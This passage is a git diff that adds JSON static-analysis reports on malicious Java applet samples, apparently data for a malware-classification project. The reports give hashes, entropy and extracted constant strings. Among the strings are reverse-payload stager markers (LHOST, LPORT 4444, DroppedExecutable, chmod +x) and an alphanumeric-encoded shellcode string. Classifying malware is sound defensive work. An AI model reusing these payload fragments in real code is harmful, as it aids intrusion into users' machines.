b/java_classification/data/malicious/01085efcb59f4d1108b8283ec6d34f42e89802a73403291787ba827a7e19d4e9.results new file mode 100755 index 0000000..2ec16ac --- /dev/null +++ b/java_classification/data/malicious/01085efcb59f4d1108b8283ec6d34f42e89802a73403291787ba827a7e19d4e9.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "aOcMSp.java", "class_name": "aOcMSp", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "gvuNr", ""], "minor_version": 0, "const_pool_count": 159}}, "_id": "f0277f53-795f-4532-a373-cf249d8ac28b", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 4.52733785035036}, "constant strings": ["\\x13\\x05\\x143\\x05\\x03\\x15\\x12\\t\\x14\\x19-\\x01\\x0e\\x01\\x07\\x05\\x12", "\\n\\x01\\x16\\x01N\\x01\\x17\\x14N\\t\\r\\x01\\x07\\x05N$\\x01\\x14\\x01\"\\x15\\x06\\x06\\x05\\x12\"\\x19\\x14\\x05", "\\x13\\x05\\x14%\\x0c\\x05\\r", "\\t\\x0e\\x14\\t\\x0e\\x14", "\\n\\x01\\x16\\x01N\\x01\\x17\\x14N\\t\\r\\x01\\x07\\x05N$\\x01\\x14\\x01\"\\x15\\x06\\x06\\x05\\x12", "490%?\"94%", "\\n\\x01\\x16\\x01N\\x01\\x17\\x14N\\t\\r\\x01\\x07\\x05N-\\x15\\x0c\\x14\\t0\\t\\x18\\x05\\x0c0\\x01\\x03\\x0b\\x05\\x043\\x01\\r\\x10\\x0c\\x05-\\x0f\\x04\\x05\\x0c", "\\n\\x01\\x16\\x01N\\x01\\x17\\x14N\\t\\r\\x01\\x07\\x05N2\\x01\\x13\\x14\\x05\\x12", "\\x03\\x12\\x05\\x01\\x14\\x057\\x12\\t\\x14\\x01\\x02\\x0c\\x052\\x01\\x13\\x14\\x05\\x12", "\\n\\x01\\x16\\x01N\\x01\\x17\\x14N\\t\\r\\x01\\x07\\x05N3\\x01\\r\\x10\\x0c\\x05-\\x0f\\x04\\x05\\x0c\\n\\x01\\x16\\x01N\\x01\\x17\\x14N\\t\\r\\x01\\x07\\x05N$\\x01\\x14\\x01\"\\x15\\x06\\x06\\x05\\x12\\n\\x01\\x16\\x01N\\x01\\x17\\x14N0\\x0f\\t\\x0e\\x14", "\\n\\x01\\x16\\x01N\\x01\\x17\\x14N\\t\\r\\x01\\x07\\x05N)\\x0e\\x04\\x05\\x18#\\x0f\\x0c\\x0f\\x12-\\x0f\\x04\\x05\\x0c", "\\n\\x01\\x16\\x01N\\x01\\x17\\x14N!\\x0c\\x10\\x08\\x01#\\x0f\\r\\x10\\x0f\\x13\\t\\x14\\x05", "3\\x12\\x03", "\\x03\\x12\\x05\\x01\\x14\\x05#\\x0f\\x0e\\x14\\x05\\x18\\x14", "\\n\\x01\\x16\\x01N\\x01\\x17\\x14N\\t\\r\\x01\\x07\\x05N#\\x0f\\x0c\\x0f\\x12-\\x0f\\x04\\x05\\x0c\\n\\x01\\x16\\x01N\\x01\\x17\\x14N\\t\\r\\x01\\x07\\x05N#\\x0f\\x0c\\x0f\\x12-\\x0f\\x04\\x05\\x0c\\n\\x01\\x16\\x01N\\x01\\x17\\x14N2\\x05\\x0e\\x04\\x05\\x12\\t\\x0e\\x07(\\t\\x0e\\x14\\x13", "\\x0f\\x13N\\x0e\\x01\\r\\x05", "", "-\\x01\\x03", "\\x0f\\x13N\\x01\\x12\\x03\\x08", "VT"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "da029afeec0bf78bbd1833913e2cf1af5ead215e", "file_name": "java_malicious/01085efcb59f4d1108b8283ec6d34f42e89802a73403291787ba827a7e19d4e9", "_id": "f0277f53-795f-4532-a373-cf249d8ac28b", "score": 0, "entropy": 5.953527790397403, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 3959, "ssdeep": "96:T/cEFlc4OddR8DI2tqE5bqKOL+h8fj2jxCz:T/LlaQckw2q2j8z", "sha256": "01085efcb59f4d1108b8283ec6d34f42e89802a73403291787ba827a7e19d4e9", "md5": "25ce612081b09f2a6294ce92f68ea5da", "parent_sha256": "01085efcb59f4d1108b8283ec6d34f42e89802a73403291787ba827a7e19d4e9"}} \ No newline at end of file diff --git a/java_classification/data/malicious/02ac5d3e20cbe8beaa59af1ce4295a5c3487e63c7cc879378cf5b58bbcd38b70.results b/java_classification/data/malicious/02ac5d3e20cbe8beaa59af1ce4295a5c3487e63c7cc879378cf5b58bbcd38b70.results new file mode 100755 index 0000000..b5d958d --- /dev/null +++ b/java_classification/data/malicious/02ac5d3e20cbe8beaa59af1ce4295a5c3487e63c7cc879378cf5b58bbcd38b70.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "a/zylasqwjlpbqyrwrr", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "eiaxyercdfvbgscpbv", "yginlmcynkyuohnfhe", "mtyvzetsjhvnbyz", "fxxhgjttqfavlooxcb", "wyjgamzmowywjihkuuf", "kgthsnqdqutacivcptong", "qgasjqrogibkblyzourtq", "glfouhczfxzyskaystx", "mikczoanebdkwpyb", "bwssduenvebnvgix", "wafrcwijizypmitodmb", "bfznyeevclzzxxqbw", "jmzisxwtxhekbkl", "szivddjiptybevduli", "forwnxmgnutbtdwvptj", "mwwmrvljafpkwzdiy", "vvpbdzrhvvnzaieyi", "qkkxoygluwwlnwbxu"], "minor_version": 0, "const_pool_count": 478}}, "_id": "a73c8f0c-e55e-4b87-b886-361c934ce7c5", "verbose": {"java": {"constant strings": ["pmdpdsqqxgld", "liudefwaocxshh", "fhkevewmvwls", "kfxjgaaekhbeu", "drmgzxqmbefav", "mxsmmzmkqsivzpl", "fqikgvxvjeyxjrdpriic", "paqgnfanknzlllebblnx", "tejtjekpgbedfhwudhv", "zgsuuconryaztchellvg", "qumvjrwteubnwc", "sckggawqnwwp", "qviijqbmclylfywi", "msduvgkxrbgpbyfc", "caifhubblaqd", "udqnrttkjotqzb", "tcxbjaklvsfhudr", "yhtmuopulviekvkjqk", "fshphfnekvmmyly", "khnvfialkiushtdmzwd", "ieshscugddkxvooejib", "vzovjsqmstjnqmsylm", "qtimbkmbxocwivuzoqk", "etvvwkopvpykhhbjhjze", "atufjxlpilvptsmwg", "iqhpmhydqxhyvahpfd", "hpttapfcigtom", "xudxvnecoerqbzubljydn", "ugldqxuhelyabsnffxtq", "cpuqhwvxhjpgcsmpk", "uvkjlbhaqdnxeheeun", "vqdcwzeczjdqkt", "kecobnkfltkhc", "jlxzsijliqsnaviln", "yqtukogfmdfhs", "emkpgzjuqprpzuq", "dbhnscyocazefyo", "acuhtcwsxrxnchbgank", "sdmqoxghmvdvdcnxqks", "wppcakipindmgrigsbx", "khymsdqkwfnirzuy", "nckkwspezfswhatlq", "eqwdwdewqczdpo", "hjggsawemycrwz", "xfqjapcvstifol", "gkyefzttjhlvqnbzyy", "wxgfarharxamb", "iwppewdglexxlvuc", "cuxntkkmgjzpwroglr", "obotjlytkkqkhzlxnprbr", "bbdygrgktkkxpitwgd", "cqvzqwqgykozjzthsbbt", "szimznkrjmcbvvkzapsap", "ncobvjmmwfmv", "zcdijrwwybpmndoof", "zergwqyeuwomns", "perwglqynjyyccayubna", "qoakylukcfsi", "pnimxooyghrlgj", "twzadmgujsrpa", "kuhoodunjmotgdcj", "xnomjzxkvaxyb", "uktjyvbzcmmjmn", "ipoejdrynovwfssrgn", "nrldoiuvtcbltunzi", "javpbuflzyzkh", "mjuupvrlpttkdfrotdwld", "ybyvwbvwgqfrhbdjnac", "cekxqcqdnkuww", "becknfidgbjibsbtdg", "picgzyyixyszvvtmlrg", "ocmbkkfjsewvfd", "vjbmlbbvrgnmibipk", "wjcrwrejdptcak"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "e02e77ce3c882e49d7b42a8282cc0502e53630f9", "file_name": "java_malicious/02ac5d3e20cbe8beaa59af1ce4295a5c3487e63c7cc879378cf5b58bbcd38b70", "_id": "a73c8f0c-e55e-4b87-b886-361c934ce7c5", "score": 0, "entropy": 6.348531450996658, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 10332, "ssdeep": "192:+rQOTSLrzzOLrTzZ60zaSgc+sUbzPppajvHRqO6x79s:+58H7FSg536YOR", "sha256": "02ac5d3e20cbe8beaa59af1ce4295a5c3487e63c7cc879378cf5b58bbcd38b70", "md5": "6364b58c740c81402054ba7000180937", "parent_sha256": "02ac5d3e20cbe8beaa59af1ce4295a5c3487e63c7cc879378cf5b58bbcd38b70"}} \ No newline at end of file diff --git a/java_classification/data/malicious/03504d2f6eae983748db25664b0bbf2879f26af67131dccd7fc6e09b8e4e2cba.results b/java_classification/data/malicious/03504d2f6eae983748db25664b0bbf2879f26af67131dccd7fc6e09b8e4e2cba.results new file mode 100755 index 0000000..1c8abd3 --- /dev/null +++ b/java_classification/data/malicious/03504d2f6eae983748db25664b0bbf2879f26af67131dccd7fc6e09b8e4e2cba.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "tljpjunbjwtqlywm/sdnrybknlf", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "dvvwse", ""], "minor_version": 0, "const_pool_count": 122}}, "_id": "c3fd78f4-b0e2-4395-90d6-2d5ef0c70cfc", "verbose": {"java": {"constant strings": ["38ssb1euppnarask81rfyhhp00j", "7eab80f421c51a7ffe3c44c38f75bd58ff10c615bd554d95d6e6b05dd4add471eb6bf1cdabc927d5f3bd4f29a5ba897c4fee29f894caedf44feda7ae02caa1a6a9dab249d4a09d499f9cceb7203ba7cf583c9fdbece5b29865b1c2ead1a80b061d65f13c02712d1e8b3e71ee9ffc3d1797574d6cfd7f904bfe44ce4010783db1001f789a50d83a0eff660f30f46cc940d2efdc24a391f935954a3a4f1999fe61ed579cd0448eb9ea30004e9f97d1f7bf132eddd7ecf1f3a161bb81ed05e8fca420fbed9f070a2c6d70d0ba8a177e6293dcae59de80a15b72e65036e691c7b9b8fa7d2be007db38279c1f1b9050e725bed6359abc7ae458e21c64e9a52eb55fe1eb1f3877c9273c7feb5359d109583debbe27c51979d714b3b608eb9e6bf4ba7440c49f60d32bf4630128b95b494d32389e125f21fa41f542d5df56134151a46a5bf6c5fcb26a45f168ee860f2a39d82d91a018c3ae9313e8259a057a4e85f09cc48f077b9f0f867e148fbc0993bbd19078294664ece8d18171ead1c4f12e12e63450d75ebf186eade4ff071b72f3b78493eb36bf3aa3ea6d5f4536e6f501d9658b095f3bd78426d58cdfc241b15dbfc59c6442a59a12c85b6cf2bad8bc9674872c264a132ff5d75b2e5a3224cfeea07d572c4b80c5e20eb8382e5bc4bc31c1bd710b4e5b6024f24ad29b1703ba2b5fa4472ae843a97f0e339d79b212c77d7f27041edc3bc9823b885a0184f2a77fdda12096a76af87840b43921bcbe26e44639accf11289e058e2ae8e914fabb95571be74a710e6dbdf9d0d8481dd847e13c018ae45ecaa45a5d59b19f1743e1645c7a8def5e58aadfa376a19bb4b3921d6d6d2d33608e269eb7ad648eef6df07937993899f72cd6dbeb40f8a4357bfcedea59897786283b936c3b118831fdd3162074fbf0a6daa49761bc5db248e46dd3159a7f036ba2377ac69573e175b846d6d61bf3c761b739bd47633acef219519e4c17b84f06b67af6ca2411d7bbf30eecf8d496546a4d6e9915c665f4fa7b00d1a07cccb9bc8cc9ddb294ce07533e4965678750a7ad26e76cd100334a3798e3592894d73a3dfc4cfdbbd458b292d3fb09821074317ed1b33cf36f4847b72d580ebffd7bf6f9bbb8cac27217a14fb55b68a0df1b18ceec59876c938d7f9aeac51c31aa53981dfb24488e19b55d8298381e021d24415abafd9112afca46576d825ab831f0bdf29753e33045dcbbb14b194fca8800574fc77c72026011c614f262409219b45a5ef8ccc8a035c8e009dca9d5708b9065cc1701f02bfe14cf60f3c985f73fce5206dcb44fe35fc2bfeb43f272dd75a18c0dde4216f6d157e2b72fd70469637b8f2b46d72f21b647bea2a414c03db256af43a0198ca3370c50d5d1e575a0b0bcea58804a17d31ce0e76a094544d56e4f7ccaf3cb7196d08d6bb1900494841c02257636290843d4d3155797a07f18e44275c563080ebb343be1626447ae1b6b268cf2ad247baecdd36b05d1bf350213609df15f3aaa84947a0f3fa57e116825936a652a5f289cd25fe25801fa54725648cf53b8d6e28e806fbb26946297b318ae83e4953da185c2a543b1d5e43ad20921427d5359f3b5bdacfda8535443341151bfd9e1e4d25655547969981cced33fbb6b5ede4e1baad1df81ab2c7ee8846d840f4755b79a1fd6d874894400df801b1cb9fffe02c76424e5a9741355668d9f7afbb310864168187bd0e6906cf20acfaf117d60033ddf706cff37051ec858a2296beb9a93619cc12263187b090de31e180b3f560a78344ef705231c8621a78eeb8ff41b37550555b1a0862d910a3b0269bb034293a69382dcfdeb51dd1da03fc9c7117bb181a303d3b73ea4bdc929301191943288e2689ec2e0", "pnjxklnpb", "74b58aec67df057aa97e178cda", "sppdadv", "27819bfd26fd", "dfxpkfbxy", "77bc89f93f", "umwsrankbajoaeg", "66bd", "mpkpfndqkpbju", "6baad1ac6c80", "jkg", "7aa18bf537d51461a37b0d80dd34fc04fd559e17ec4c0ec093", "cimluhliepchv", "nppf4z", "qnfz3gvr"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "de4af2064fd161e79934dc192b925614d8d252ed", "file_name": "java_malicious/03504d2f6eae983748db25664b0bbf2879f26af67131dccd7fc6e09b8e4e2cba", "_id": "c3fd78f4-b0e2-4395-90d6-2d5ef0c70cfc", "score": 0, "entropy": 5.376762141811211, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 4481, "ssdeep": "96:cwDRdhjZ/0cgYKH3tTCaCUdrdSCiK4uut0SWQbd:cyV/0TYOtldrdSCm98Qbd", "sha256": "03504d2f6eae983748db25664b0bbf2879f26af67131dccd7fc6e09b8e4e2cba", "md5": "c53b09e2ff53ce3208550d308eb23559", "parent_sha256": "03504d2f6eae983748db25664b0bbf2879f26af67131dccd7fc6e09b8e4e2cba"}} \ No newline at end of file diff --git a/java_classification/data/malicious/03ff87f0e6615ba9ab5b17758eb873ed62c157bf0e685e91d3dae1c98cd3662e.results b/java_classification/data/malicious/03ff87f0e6615ba9ab5b17758eb873ed62c157bf0e685e91d3dae1c98cd3662e.results new file mode 100755 index 0000000..25591d2 --- /dev/null +++ b/java_classification/data/malicious/03ff87f0e6615ba9ab5b17758eb873ed62c157bf0e685e91d3dae1c98cd3662e.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "p", "class_name": "Mainer", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["c", "c", "k", "c", "", "init", "k", "k", "", "k", "k", "k", "k", "k"], "minor_version": 0, "const_pool_count": 222}}, "_id": "e8177278-ce1d-4a74-843b-18dcca7830ed", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 6.160899978080798}, "constant strings": ["", "e%", "*%;:", "#)09~vytysdiZRw}{$}\"t+clyp\\x7fp|#e8\\\\Sp+xq{$v,cox\\'\\x7ftxudoY\\xc0\\x80\\x7f~-#|y{,dmyu{xx%ciZRv~y~~qrzem~vysysdiZRvx{$}\"t{bkyuz#(#a8SVw\\x7fv~+w\\'\\x7f3;~tyq~vdc]Rv~~vyqr{bmyu~s~v`k\\\\\\x03p\\x7fyp\\x7fpp/bhyr\\x7fxx%a>\\\\Qp(x#\\x7fru\\x7fboyt\\x7ftx#doX\\x07p\\x7fyr\\x7f\\'t.cdxu{$zwdo\\\\\\x04p*x\\x7f\\x7frwxchxp\\x7ftyten\\\\\\x07p}xs}puxboxw~x/\\x7f7i\\x0e\\x07\\'\\x7f,#\\x7fttze>~tyq~wf9ZRv{xw~suxcly\\x7f~u~vbh_\\xc0\\x80r-x\\'\\x7fpu|cl| \\x7f\"xwe>\\\\Ut(z \\x7fst+chxu~u}$dc]Rq\\x7f~v~$rzen", "+#<4s;2 -`%<5\\t\\x174<+(=o#>:0\\'%g\\xc0\\x80:)>2;Vw*,+pq#\\x1d`0/\\x11|1*\\x0e888\\x07 +<\\x17}p&(8d~\\'\\x1et#\\'\\x04n\\x1a\\x06\\x0e%+(*$\\x038\\x04i\\x7f\"+,wv2\\x0c_\\x0f\\'\\x19{6-\\t)84$", "\\x17}p*$>bZ\\x03\\x11{#\\'\\x1et2.\\x1d6", "90)", "(/-\\'&,2;;(\\x0fXi*(\"/&$=zr", "\"/%$-3*", "+#<4s?\\x15^S\",#\\x7fy \\x15\\x7f8<\\x1bq\\x1a\\x06\\x0e%-3;(63{\\r\\x1dp[\\x06$#wv(\\x16w\\'4\\ny4\\x0e*-<#/:2+%;.", "\\x10v{1?!}Z\\x03\\x11{#\\'\\x1et2.\\x1d6", "8", "%;.", ":3", "\\x12/\\'0", "\\x07%-\\x12/\\'0", "$/0-\\'&,2;;%D\\x11#-* -\\'%,\"(>-\\x1e\\x1bh\\x1e<)=$!.39*#\\x0c\\x152\\'!(\\r./+<3", "+19"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "6fe116e6f25582ec0881e87dccfc19474fdf6b17", "file_name": "java_malicious/03ff87f0e6615ba9ab5b17758eb873ed62c157bf0e685e91d3dae1c98cd3662e", "_id": "e8177278-ce1d-4a74-843b-18dcca7830ed", "score": 0, "entropy": 5.864771528105675, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 5363, "ssdeep": "96:ecFlafmwquDhWGQNW4N80A5LomhVptcpEHITJq1VE:e2l9w03NG0AZomb06ITAVE", "sha256": "03ff87f0e6615ba9ab5b17758eb873ed62c157bf0e685e91d3dae1c98cd3662e", "md5": "f597836a249b129427a5803b165efa1b", "parent_sha256": "03ff87f0e6615ba9ab5b17758eb873ed62c157bf0e685e91d3dae1c98cd3662e"}} \ No newline at end of file diff --git a/java_classification/data/malicious/040696957e88168e4baf2f3827b24589405346c76b40811296d183d890e9372c.results b/java_classification/data/malicious/040696957e88168e4baf2f3827b24589405346c76b40811296d183d890e9372c.results new file mode 100755 index 0000000..e0ee4f4 --- /dev/null +++ b/java_classification/data/malicious/040696957e88168e4baf2f3827b24589405346c76b40811296d183d890e9372c.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["", "init"], "minor_version": 0, "const_pool_count": 102}}, "_id": "c546134b-79d7-4815-a7ee-6a81d5a734d8", "verbose": {"java": {"JAVA String Analysis": {"files": [{"_id": "b54c4043-b1b2-42e4-8f22-809624368b9f", "metadata": {"mimetype": "text/plain", "sha1": "80ce2afcb456198bac3bd73a19e7fb95c5725f6d", "file_name": "long string 0", "_id": "b54c4043-b1b2-42e4-8f22-809624368b9f", "score": 0, "entropy": 4.7591687024895934, "libmagic": "ASCII text, with very long lines, with no line terminators", "file_size": 1259, "ssdeep": "24:miH8QmmKybOs90Lhv4PKNQv4RudjYEk8M7hiGWyYCAcl0:mIUyb3Fn4GlW78GWyYk0", "sha256": "b09d01748ba29a170c8124cca2f804d7db61ab851de99e55cf0e27c17caa8987", "md5": "eda82a7dbb687a6bee1e470b9dd4f135", "parent_sha256": "040696957e88168e4baf2f3827b24589405346c76b40811296d183d890e9372c"}}], "combined strings entropy": 4.7982205630443024}, "constant strings": ["YIIIIIIIIIIIIIIIIIQZjA,XP,0A,0A,kA,AQ,2A,B2,BB,0B,BA,BX,P8,AB,uJ,Il,Pl,Pl,Pn,pj,0z,0l,PN,p8,ik,Ks,0W,pE,PS,oU,49,1P,0G,pG,pg,pl,KQ,P4,Ll,K2,P7,lL,mN,k5,87,PO,pc,Mv,l4,sT,4v,cN,vz,KL,3N,kq,xg,xn,ky,gs,ZC,4F,9X,hL,O7,p7,pS,0M,2K,Iq,x0,op,nW,pE,P2,HD,54,2b,LP,m2,tk,OR,6L,KJ,HI,xp,ye,Pg,ps,0L,Kj,wq,Wo,pW,OC,0R,UY,ja,Wp,WR,gk,07,Oe,PQ,eZ,ZN,kz,O1,OU,ci,Yn,aJ,LT,Dg,qS,0u,PL,K9,Lb,qP,Rv,3C,XV,dE,QW,pG,pk,OP,V4,Lq,JQ,IB,qp,RL,KT,B3,cP,Cm,PE,kC,0q,ej,Zm,Q3,K9,lv,Ns,Ud,8C,UP,uW,sM,SX,kv,hn,iC,3X,GW,33,4t,nU,5Q,he,5O,6s,sW,xE,Pq,Kn,jJ,ae,Td,po,x7,5g,pd,sO,0B,pr,pp,SC,gr,pK,O0,Vv,pM,Sz,XW,p2,Uf,fS,Ze,Q3,cY,o2,vW,tq,Jf,9o,sZ,bu,T3,qo,p6,Z5,Pq,en,TK,O2,vd,HF,1R,vL,Kp,uU,ll,Ks,Dt,uD,8W,sk,EP,Vl,K3,FU,pv,cI,ep,3h,Ic,yw,1N,M6,co,5w,CI,Kt,Om,n6,pF,Xz,RP,tt,HZ,aZ,kT,MU,SK,jq,PX,ky,ag,KW,o3,Ek,W1,NN,ka,NU,tS,3y,MQ,vl,KT,L0,Kl,Kq,NU,LU,Sk,ml,KV,dl,Kg,sK,un,Ks,nv,9I,SJ,HE,PK,OK,OK,On,nP,Nf,nH,lZ,8K,NL,J6,nq,nz,xM,23,C6,SK,zL,Jc,kp,6f,zV,OP,pr,NP,Mr,oV,5r,mV,9T,0P,TS,Up,S0,tr,Cu,PR,HB,TB,Tp,pW,JV,Od,or,F1,yR,Kr,Op,qS,TT,nu,9b,Nc,Vp,oT,o2,CP,gC,Yf,Mu,2C,Yr,Nv,O2,Qr,OV,Op,np,0V,PP,at,qV,Pp,6u,bf,Pd,qt,sf,QT,xP,r6,Pd,pd,q6,Y0,Jv,PQ,rv,Pp,04,pV,VD,pv,QB,rS,UR,Fv,TE,3U,bc,RV,V5,er,xt,uP,d0,0d,v3,Q3,Tr,FV,Vv,9F,Qt,vP,dp,a4,wq,tT,tU,cR,zd,pp,1T,pt,pu,6F,Pe,hf,Pu,Pw,pA,", "41,25,25,25,25", ",", "", "fil", "e://aa", "c/", "D", "C", "A"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "e013fce5066c39cc8a974e0050bfb7f74f08053e", "file_name": "java_malicious/040696957e88168e4baf2f3827b24589405346c76b40811296d183d890e9372c", "_id": "c546134b-79d7-4815-a7ee-6a81d5a734d8", "score": 0, "entropy": 5.994435288085265, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 3069, "ssdeep": "48:4vVk0yFlVMIUyb3Fn4GlW78GWyYks5GUFwIsFlXRkHccQjtZtgobKqgs5qxpJ:hFFl91ry6RxC92XQjt9bKsCn", "sha256": "040696957e88168e4baf2f3827b24589405346c76b40811296d183d890e9372c", "md5": "8922fd56eff97e0880ec86b48af82d00", "parent_sha256": "040696957e88168e4baf2f3827b24589405346c76b40811296d183d890e9372c"}} \ No newline at end of file diff --git a/java_classification/data/malicious/04fafac2b591269935dbfd5a85012a3bc54e956b2d6863135cbc0a5136dd044c.results b/java_classification/data/malicious/04fafac2b591269935dbfd5a85012a3bc54e956b2d6863135cbc0a5136dd044c.results new file mode 100755 index 0000000..8a0fdfb --- /dev/null +++ b/java_classification/data/malicious/04fafac2b591269935dbfd5a85012a3bc54e956b2d6863135cbc0a5136dd044c.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "mNIJnGIOkm/Payload", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["", "main", "writeEmbeddedFile", "bootstrap", "getJreExecutable", "addExtension", "findInDir", "normalize", "dissect", "class$", ""], "minor_version": 3, "const_pool_count": 605}}, "_id": "995bf728-bc14-40fc-b439-aa3606b0d93e", "verbose": {"java": {"constant strings": ["mNIJnGIOkm.Payload", ".class", "/mNIJnGIOkm.dat", "Executable", "~spawn", ".tmp", ".dir", "DroppedExecutable", "Spawn", "0", "mNIJnGIOkm.dat", "URL", "", "https:", "mNIJnGIOkm/PayloadTrustManager.class", "PayloadTrustManager.class", "AESPassword", "mNIJnGIOkm/AESEncryption.class", "AESEncryption.class", "java", "-classpath", "java.io.File", "setExecutable", "chmod", "+x", "LPORT", "4444", "LHOST", "raw:", "ISO-8859-1", "mNIJnGIOkm.PayloadTrustManager", "useFor", "java.net.URLConnection", "mNIJnGIOkm.AESEncryption", "wrapStreams", "java.io.InputStream", "java.io.OutputStream", "java.lang.String", "Payload -- ", "StageParameters", " ", "EmbeddedStage", "/", "file:///", "javavzmWcyD.stage.", "start", "java.io.DataInputStream", "[Ljava.lang.String;", "/sh", "/bin", ".exe", ".", "..", "os.name", "path.separator", "aix", ";", "java.home"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "dcf8db73471e0f626561e3fae4d2b6f5e6da16c8", "file_name": "java_malicious/04fafac2b591269935dbfd5a85012a3bc54e956b2d6863135cbc0a5136dd044c", "_id": "995bf728-bc14-40fc-b439-aa3606b0d93e", "score": 0, "entropy": 6.144724536220613, "libmagic": "compiled Java class data, version 45.3", "file_size": 9415, "ssdeep": "96:gbaBzgFN1tMrDUB3+WhBThmgxxsIJUNuIpvqPBX15KYvXkr9DmgHzxE03TvDrD7x:gmO1t13DtmMINvpvUrKYvCkgHzbDrDF", "sha256": "04fafac2b591269935dbfd5a85012a3bc54e956b2d6863135cbc0a5136dd044c", "md5": "79906ed8be52ba8a0c64d3587da76b8f", "parent_sha256": "04fafac2b591269935dbfd5a85012a3bc54e956b2d6863135cbc0a5136dd044c"}} \ No newline at end of file diff --git a/java_classification/data/malicious/04fb0b1b70561747536c345b8839ed94944f038adf64ce8b3f69a9e9b6904bc4.results b/java_classification/data/malicious/04fb0b1b70561747536c345b8839ed94944f038adf64ce8b3f69a9e9b6904bc4.results new file mode 100755 index 0000000..479e29a --- /dev/null +++ b/java_classification/data/malicious/04fb0b1b70561747536c345b8839ed94944f038adf64ce8b3f69a9e9b6904bc4.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "chspSxY.java", "class_name": "aHrMCrboe/chspSxY", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "tgznSIAR"], "minor_version": 0, "const_pool_count": 116}}, "_id": "b5ecc50a-2606-44a2-80cc-d6eedfbc65be", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 4.555989429073192}, "constant strings": ["$/8/`=+-;<\\':7`\\x0f\"\"\\x1e+<#\\'==\\'! ", "$/8/`=+-;<\\':7`\\x1e+<#\\'==\\'! =", "/**", "$/8/`=+-;<\\':7`\\x1e+<#\\'==\\'! ", "$/8/`=+-;<\\':7`-+<:`\\r+<:\\'(\\'-/:+", "$/8/` +:`\\x1b\\x1c\\x02", "$/8/`=+-;<\\':7`\\r!*+\\x1d!;<-+", "$/8/`=+-;<\\':7`\\x1e>\"+:\\x11-\"/==", "newInstance"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "90c3908113f88edaa328bdc292c404c36e0d9b83", "file_name": "java_malicious/04fb0b1b70561747536c345b8839ed94944f038adf64ce8b3f69a9e9b6904bc4", "_id": "b5ecc50a-2606-44a2-80cc-d6eedfbc65be", "score": 0, "entropy": 5.942812423438524, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 2606, "ssdeep": "48:M2rTyFlQq3Fkjy2wgk3zpo5PuCY1lliFsTgMqoRTiiSS:PqFlQ4kjNwh65PuxuufxZp", "sha256": "04fb0b1b70561747536c345b8839ed94944f038adf64ce8b3f69a9e9b6904bc4", "md5": "bb53a4a06e1bdaf89fa60a1d43263a8b", "parent_sha256": "04fb0b1b70561747536c345b8839ed94944f038adf64ce8b3f69a9e9b6904bc4"}} \ No newline at end of file diff --git a/java_classification/data/malicious/05674baf591ca8b9300f79d8c70664dd208289b9331d931d8fd905dfe0427e7a.results b/java_classification/data/malicious/05674baf591ca8b9300f79d8c70664dd208289b9331d931d8fd905dfe0427e7a.results new file mode 100755 index 0000000..2fa09bd --- /dev/null +++ b/java_classification/data/malicious/05674baf591ca8b9300f79d8c70664dd208289b9331d931d8fd905dfe0427e7a.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["", "init"], "minor_version": 0, "const_pool_count": 102}}, "_id": "a4f8acf8-baf3-4c25-938b-f6dafb54517d", "verbose": {"java": {"JAVA String Analysis": {"files": [{"_id": "9502be64-919c-4581-9d54-a637fba38780", "metadata": {"mimetype": "text/plain", "sha1": "9df0ee20004355e7f926feaf28ae3dde3d878c4d", "file_name": "long string 0", "_id": "9502be64-919c-4581-9d54-a637fba38780", "score": 0, "entropy": 4.735469170403179, "libmagic": "ASCII text, with very long lines, with no line terminators", "file_size": 1322, "ssdeep": "24:miP0oxs8uOwhpKS2C4U6dmPty6czTWGQjXld7clOgR7IIMQnw9fRJqLG:mMPUOyh2Y6dhuzY2qIv", "sha256": "c7db8b100dbe80635f2b3ddedee585b0e1ec52a7edf008aa8383b89750da1176", "md5": "94ceda5d12e503bd84e49e1b338af2e3", "parent_sha256": "05674baf591ca8b9300f79d8c70664dd208289b9331d931d8fd905dfe0427e7a"}}], "combined strings entropy": 4.77567609043573}, "constant strings": 